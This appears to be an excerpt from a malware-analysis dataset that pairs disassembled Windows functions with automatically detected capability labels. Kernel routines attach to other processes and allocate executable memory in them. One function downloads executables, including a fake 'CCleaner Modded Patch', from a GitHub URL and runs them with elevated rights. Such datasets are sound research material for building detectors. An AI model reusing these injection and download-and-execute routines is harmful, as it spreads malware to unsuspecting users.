joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1b0c0
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0xb0
mov rsi, rdx
lea rdx, [rax + 0x20]
mov rbx, rcx
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x1b1fe
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessPeb]
mov rdi, rax
test rax, rax
je 0x1b1f0
mov rcx, qword [rsp + 0xd8]
lea rdx, [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
lea r8, [fcn.0001b36c]
mov r9, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.0001af9c
and qword [rsp + 0xd0], 0
and qword [rsp + 0x30], 0
and qword [rsp + 0x40], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x58], 0
and qword [rsp + 0x68], 0
and qword [rsp + 0x70], 0
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x48]
lea rcx, [rsp + 0xd0]
mov edx, 0x400
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x48], 0x30
mov dword [rsp + 0x60], 0x200
call qword [sym.imp.ntoskrnl.exe_ZwOpenProcess]
test eax, eax
js 0x1b1e5
mov rcx, qword [rsp + 0xd0]
and qword [rsp + 0x20], 0
mov r9d, 8
lea edx, [r9 + 0x12]
lea r8, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationProcess]
mov rcx, qword [rsp + 0xd0]
xor edi, edi
test eax, eax
cmovns rdi, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
test rdi, rdi
je 0x1b1e5
lea r8, [fcn.0001b36c]
mov r9, rsi
mov rdx, rdi
mov rcx, rbx
call fcn.0001b21c
lea rcx, [rsp + 0x78]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1bbcc
Capabilities:
Allocate or change rwx memory
Attach user process memory

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], r12
mov qword [rax + 8], rcx
push r13
sub rsp, 0xc0
mov r12, rdx
mov rsi, rcx
and qword [rsp + 0x30], 0
mov rcx, rdx
call qword [sym.imp.ntoskrnl.exe_PsGetProcessId]
mov r13, qword [rsp + 0xf8]
mov qword [rsp + 0x40], r13
and qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
and qword [rsp + 0x50], 0
mov dword [rsp + 0x58], 0x30
and qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0x200
and qword [rsp + 0x68], 0
and qword [rsp + 0x78], 0
and qword [rsp + 0x80], 0
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x58]
mov edx, 0x1f0fff
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwOpenProcess]
test eax, eax
js 0x1bd14
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov ebx, eax
test eax, eax
js 0x1bcfb
lea rdx, [rsp + 0x88]
mov rcx, r12
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
nop
mov r8, r13
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x30]
call fcn.0001db20
jmp 0x1bced
lea rcx, [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
test ebx, ebx
js 0x1bd12
mov rax, qword [rsp + 0x30]
mov qword [rsi], rax
mov eax, ebx
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop r13
ret

Function at 0x1bdac
Capabilities:
Check os version

Disassembly:
mov rax, rsp
sub rsp, 0x38
lea r9, [rax - 0x18]
lea r8, [rax + 8]
lea rdx, [rax + 0x10]
lea rcx, [rax + 0x18]
call qword [sym.imp.ntoskrnl.exe_PsGetVersion]
mov r11d, dword [rsp + 0x50]
cmp r11d, 5
jne 0x1bde8
cmp dword [rsp + 0x48], 2
jne 0x1bee6
lea eax, [r11 - 2]
jmp 0x1bee8
cmp r11d, 6
jne 0x1be83
mov ecx, dword [rsp + 0x48]
xor eax, eax
cmp ecx, eax
jne 0x1be04
mov eax, r11d
jmp 0x1bee8
cmp ecx, 1
jne 0x1be2f
cmp dword [rsp + 0x40], 0x1b58
jne 0x1be1b
lea eax, [rcx + 7]
jmp 0x1bee8
cmp dword [rsp + 0x40], 0x1bbc
sbb eax, eax
not eax
and eax, 0xa
jmp 0x1bee8
cmp ecx, 2
jne 0x1be6c
mov ecx, dword [rsp + 0x40]
cmp ecx, 0x203a
jne 0x1be4a
mov eax, 0xe
jmp 0x1bee8
cmp ecx, 0x20d0
jne 0x1be5c
mov eax, 0xf
jmp 0x1bee8
mov edx, 0x11
cmp ecx, 0x23f0
cmove eax, edx
jmp 0x1bee8
cmp ecx, 3
jne 0x1bee6
cmp dword [rsp + 0x40], 0x2580
mov ecx, 0x14
cmove eax, ecx
jmp 0x1bee8
cmp r11d, 0xa
jne 0x1bee6
xor eax, eax
cmp dword [rsp + 0x48], eax
jne 0x1bee6
mov ecx, dword [rsp + 0x40]
cmp ecx, 0x295a
jne 0x1bea3
lea eax, [r11 + 0x15]
jmp 0x1bee8
cmp ecx, 0x2945
jne 0x1beb2
mov eax, 0x1d
jmp 0x1bee8
cmp ecx, 0x2933
jne 0x1bec1
mov eax, 0x1b
jmp 0x1bee8
cmp ecx, 0x2924
jne 0x1bed0
mov eax, 0x19
jmp 0x1bee8
add ecx, 0xffffd800
mov edx, 0x17
cmp ecx, 0x124
cmovbe eax, edx
jmp 0x1bee8
xor eax, eax
add rsp, 0x38
ret
Function at 0x1bef4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x10
mov r13, rdx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1bfeb
movsxd rax, dword [rcx + 0x3c]
mov ebx, dword [rax + rcx + 0x8c]
mov dword [rsp + 0x50], ebx
mov edx, dword [rax + rcx + 0x88]
cmp edx, r8d
je 0x1bfeb
mov rax, rdx
add rax, rcx
je 0x1bfeb
mov rsi, rax
sub rsi, rcx
mov r14d, dword [rax + 0x1c]
add r14, rcx
mov r12d, dword [rax + 0x24]
add r12, rcx
mov r11d, dword [rax + 0x20]
add r11, rcx
mov qword [rsp + 0x58], r11
mov r15d, dword [rax + 0x18]
mov r9d, dword [rax + 0x14]
mov dword [rsp + 0x50], r9d
mov edx, r8d
mov dword [rsp], edx
cmp edx, r15d
jae 0x1bfe9
mov r10d, edx
movsx eax, word [r12 + r10*2]
cmp eax, r9d
jae 0x1bfe5
mov r9d, dword [r14 + rax*4]
cmp r9, rsi
jb 0x1bfa1
lea rax, [rsi + rbx]
cmp r9, rax
jb 0x1bfd9
mov eax, dword [r11 + r10*4]
add rax, rcx
mov rdi, r13
sub rdi, rax
movzx r10d, byte [rax]
movzx r11d, byte [rax + rdi]
sub r10d, r11d
jne 0x1bfc4
inc rax
test r11d, r11d
jne 0x1bfae
cmp r10d, r8d
jne 0x1bfd4
lea r8, [r9 + rcx]
mov qword [rsp + 8], r8
jmp 0x1bfe9
mov r11, qword [rsp + 0x58]
inc edx
mov dword [rsp], edx
mov r9d, dword [rsp + 0x50]
jmp 0x1bf7d
xor eax, eax
jmp 0x1bffa
jmp 0x1bff7
xor eax, eax
jmp 0x1bffa
mov rax, r8
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x10
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x1c8c8
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov rbx, rcx
xor r9d, r9d
mov ecx, edx
movzx eax, word [rbx + 0x14]
movzx r11d, word [rbx + 6]
lea r8, [rax + rbx + 0x18]
test r11d, r11d
je 0x1c909
mov r10d, dword [r8 + 0xc]
cmp rcx, r10
jb 0x1c8fd
mov eax, dword [r8 + 8]
add eax, r10d
cmp rcx, rax
jb 0x1c90c
inc r9d
add r8, 0x28
cmp r9d, r11d
jb 0x1c8e8
xor r8d, r8d
test r8, r8
je 0x1c924
mov eax, dword [rbx + 0x3c]
dec eax
not eax
and eax, dword [r8 + 0x14]
sub eax, dword [r8 + 0xc]
add eax, edx
jmp 0x1c926
mov eax, edx
mov rbx, qword [rsp + 8]
ret
Function at 0x1ca74
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x70
xor r12d, r12d
mov qword [rax + 0x10], r12
mov rsi, r12
mov qword [rax - 0x58], r12
lea rdx, [rax + 0x10]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
cmp eax, r12d
jl 0x1cb96
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessPeb]
mov rbx, rax
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
nop
lea edx, [r12 + 0x28]
lea r8d, [r12 + 1]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ProbeForRead]
mov rbx, qword [rbx + 0x20]
mov edx, 0x80
lea r8d, [r12 + 1]
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ProbeForRead]
movzx edx, word [rbx + 0x60]
lea r8d, [r12 + 1]
mov rcx, qword [rbx + 0x68]
call qword [sym.imp.ntoskrnl.exe_ProbeForRead]
mov word [rsp + 0x28], r12w
mov word [rsp + 0x2a], r12w
mov r8b, 1
lea rdx, [rbx + 0x60]
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_RtlUnicodeStringToAnsiString]
cmp eax, r12d
jl 0x1cb76
movzx edx, word [rsp + 0x28]
inc rdx
lea ecx, [r12 + 1]
call fcn.0001c018
mov rsi, rax
mov qword [rsp + 0x20], rax
cmp rax, r12
je 0x1cb6b
movzx r8d, word [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call fcn.0001db20
movzx r11d, word [rsp + 0x28]
mov byte [r11 + rsi], r12b
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntoskrnl.exe_RtlFreeAnsiString]
jmp 0x1cb7d
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rax, rsi
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x140003030
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x140003058
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14000307e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140003080
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400030d9
test ecx, ecx
jle 0x1400030b9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400030d9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400030d9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140003100
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140003122
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140003138
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140003154
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140003156
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140003192
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000322e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400031cd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000320e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000322e
cmp rbx, rax
ja 0x1400031e0
test rbx, rbx
je 0x14000322e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140003660
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000368d
xor eax, eax
jmp 0x1400037f9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400036c7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400036c7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400037f9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400037ec
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000370a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003735
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400037f1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400037a4
sub eax, 1
je 0x1400037a4
cmp eax, 2
jne 0x1400037ec
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400037f1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400037d2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400037ec
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x1400037f1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140016a90
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140004a70
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004b43
cmp byte [rcx + 0x71], 0
je 0x140004b43
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140004b3f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140004b04
sub eax, 1
je 0x140004b08
cmp eax, 2
jne 0x140004b3f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140016a90
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140004b36
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140004b3f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140004aec
xor al, al
jmp 0x140004aec
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140016a90
add rsp, 0x60
pop rbx
ret
Function at 0x140016280
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1a0]
sub rsp, 0x2a0
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rbp + 0x190], rax
mov r14, rdx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], si
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9d, [rsi - 1]
mov r8, rdx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
test eax, eax
jle 0x1400163a0
mov r8, qword [rsp + 0x40]
cmp rbx, r8
ja 0x14001631c
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rax, qword [rsp + 0x30]
mov qword [rsp + 0x40], rbx
mov word [rax + rbx*2], si
jmp 0x140016370
mov rdx, rbx
sub rdx, r8
mov rdi, qword [rsp + 0x48]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140016363
mov qword [rsp + 0x40], rbx
lea r9, [rsp + 0x30]
cmp rdi, 8
cmovae r9, qword [rsp + 0x30]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140016358
movzx eax, si
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], si
jmp 0x140016370
mov r9, rdx
lea rcx, [rsp + 0x30]
call fcn.140016870
lea rax, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rax, qword [rsp + 0x30]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, r14
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x54]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x50], 0x238
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14001641e
lea rdi, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x7c]
sub rdi, rax
movzx edx, word [rax]
movzx ecx, word [rax + rdi]
sub edx, ecx
jne 0x140016406
add rax, 2
test ecx, ecx
jne 0x1400163f3
test edx, edx
je 0x14001641a
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x1400163d6
mov esi, dword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14001646d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016468
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140016468
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016d44
mov eax, esi
mov rcx, qword [rbp + 0x190]
xor rcx, rsp
call fcn.140016a90
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400164a0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor esi, esi
mov edi, edx
mov ebx, esi
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], esi
mov rcx, rax
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
cmp dword [rsp + 0x20], edi
jne 0x140016524
mov r8d, 0x104
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, rbx
call qword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x140016524
cmp byte [rsp + 0x30], sil
jne 0x140016550
test rbx, rbx
jne 0x1400164d0
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140016a90
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rax, rbx
jmp 0x14001652b

Function at 0x140017594
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400175de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400175de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400175de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400175de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400175de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400175e0
xor al, al
add rsp, 0x28
ret
Function at 0x18000a2d0
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x10], rcx
mov qword [rsp + 8], 0
mov dword [rsp + 4], 0x36b58add
mov eax, dword [rsp + 4]
mov dword [rsp], eax
mov eax, dword [rsp]
cmp eax, 0x310a803b
jl 0x18000a33d
mov eax, dword [rsp]
cmp eax, 0x36b58add
jl 0x18000a32a
mov eax, dword [rsp]
cmp eax, 0x36b58add
je 0x18000a376
jmp 0x18000a36c
mov eax, dword [rsp]
cmp eax, 0x310a803b
je 0x18000a444
jmp 0x18000a36c
mov eax, dword [rsp]
cmp eax, 0xc3442c34
jl 0x18000a35e
mov eax, dword [rsp]
cmp eax, 0xc3442c34
je 0x18000a41d
jmp 0x18000a36c
mov eax, dword [rsp]
cmp eax, 0xad509d26
je 0x18000a396
jmp 0x18000a371
jmp 0x18000a44e
mov rdx, qword [rsp + 8]
mov eax, 0x310a803b
mov ecx, 0xad509d26
cmp rdx, qword [rsp + 0x20]
cmovb eax, ecx
mov dword [rsp + 4], eax
jmp 0x18000a44e
mov rax, qword [rsp + 0x18]
mov rcx, qword [rsp + 8]
movzx eax, byte [rax + rcx]
mov edx, eax
mov rcx, qword [rsp + 0x10]
mov rax, rcx
xor rax, 0xffffffffffffffff
movabs r8, 0xa6971c8d
and rax, r8
movabs r8, 0xffffffff5968e372
and rcx, r8
or rax, rcx
mov rcx, rdx
xor rcx, 0xffffffffffffffff
movabs r8, 0xa6971c8d
and rcx, r8
movabs r8, 0xffffffff5968e372
and rdx, r8
or rcx, rdx
xor rax, rcx
mov qword [rsp + 0x10], rax
movabs rax, 0x100000001b3
imul rax, qword [rsp + 0x10]
mov qword [rsp + 0x10], rax
mov dword [rsp + 4], 0xc3442c34
jmp 0x18000a44e
mov rax, qword [rsp + 8]
add rax, 0x70fd0f83
add rax, 1
sub rax, 0x70fd0f83
mov qword [rsp + 8], rax
mov dword [rsp + 4], 0x36b58add
jmp 0x18000a44e
mov rax, qword [rsp + 0x10]
add rsp, 0x28
ret
jmp 0x18000a2f4
Function at 0x140001000
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
lea r8, str.debag.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.https:__github.com_cjobs23_rtasfgdd_raw_main_debag.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, str.debag.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea r8, str.All_Edition_Modded_Patch.exe
xor ecx, ecx
lea rdx, str.https:__github.com_cjobs23_rtasfgdd_raw_main_CCleaner_All_Edition_Modded_Patch.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov dword [rsp + 0x28], ebx
lea r8, str.All_Edition_Modded_Patch.exe
mov qword [rsp + 0x20], rbx
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x14000197c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
